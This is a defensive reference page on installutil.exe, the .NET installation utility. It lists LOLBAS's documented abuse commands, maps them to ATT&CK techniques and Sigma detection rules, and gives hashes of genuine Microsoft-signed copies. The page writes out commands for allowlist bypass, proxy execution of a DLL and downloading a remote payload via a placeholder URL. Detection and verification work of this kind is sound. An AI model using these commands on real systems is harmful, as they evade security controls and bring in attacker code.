Identifier / Programs / Windows
installutil.exe
.NET Framework installation utility file version info (xCyclopedia)
LOLBAS AWL Bypass, Execute, Download 8 Sigma rules name it 3 ATT&CK techniques 3 documented commands 4 known copies with hashes
How installutil.exe is abused
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for installutil.exe.
3 documented commands
AWL Bypass T1218.004 System Binary Proxy Execution: InstallUtil User privileges
Execute the target .NET DLL or EXE.
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}IdentifyTrips no Sigma process-creation rule.
Execute T1218.004 System Binary Proxy Execution: InstallUtil User privileges
Execute the target .NET DLL or EXE.
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}IdentifyTrips no Sigma process-creation rule.
Download T1105 Ingress Tool Transfer User privileges
It will download a remote payload and place it in INetCache.
InstallUtil.exe {REMOTEURL}IdentifyTrips 1 Sigma rule: mediumFile Download Via InstallUtil.EXE by Nasreddine Bencherchali (Nextron Systems)
1 of the 3 commands the identifier reads trips a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for installutil.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for installutil.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real installutil.exe?
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Windows\Microsoft.NET\Framework\v4.0.30319\4 known copies
4.8.4161.0 built by: NET48REL1 · C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe · signed by Microsoft Windows
56763f94d6998304d137f5c202fb2147da5f14a39f318c68a810fc351701486f4.8.4161.0 built by: NET48REL1 · C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe · signed by Microsoft Windows
774adcef9cebc4b12c2c10d0a05ed3d4f59f739db38700e4a763085b8146137e4.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe · signed by Microsoft Windows
ac1a3f21fcc88f9cee7bf51581eafba24cc76c924f0821deb2afdf1080ddf3d34.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe · signed by Microsoft Windows
d0f224023900420d0e541360144bfbfb03cbb936391ce6d3e98590ddca51bc6aFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.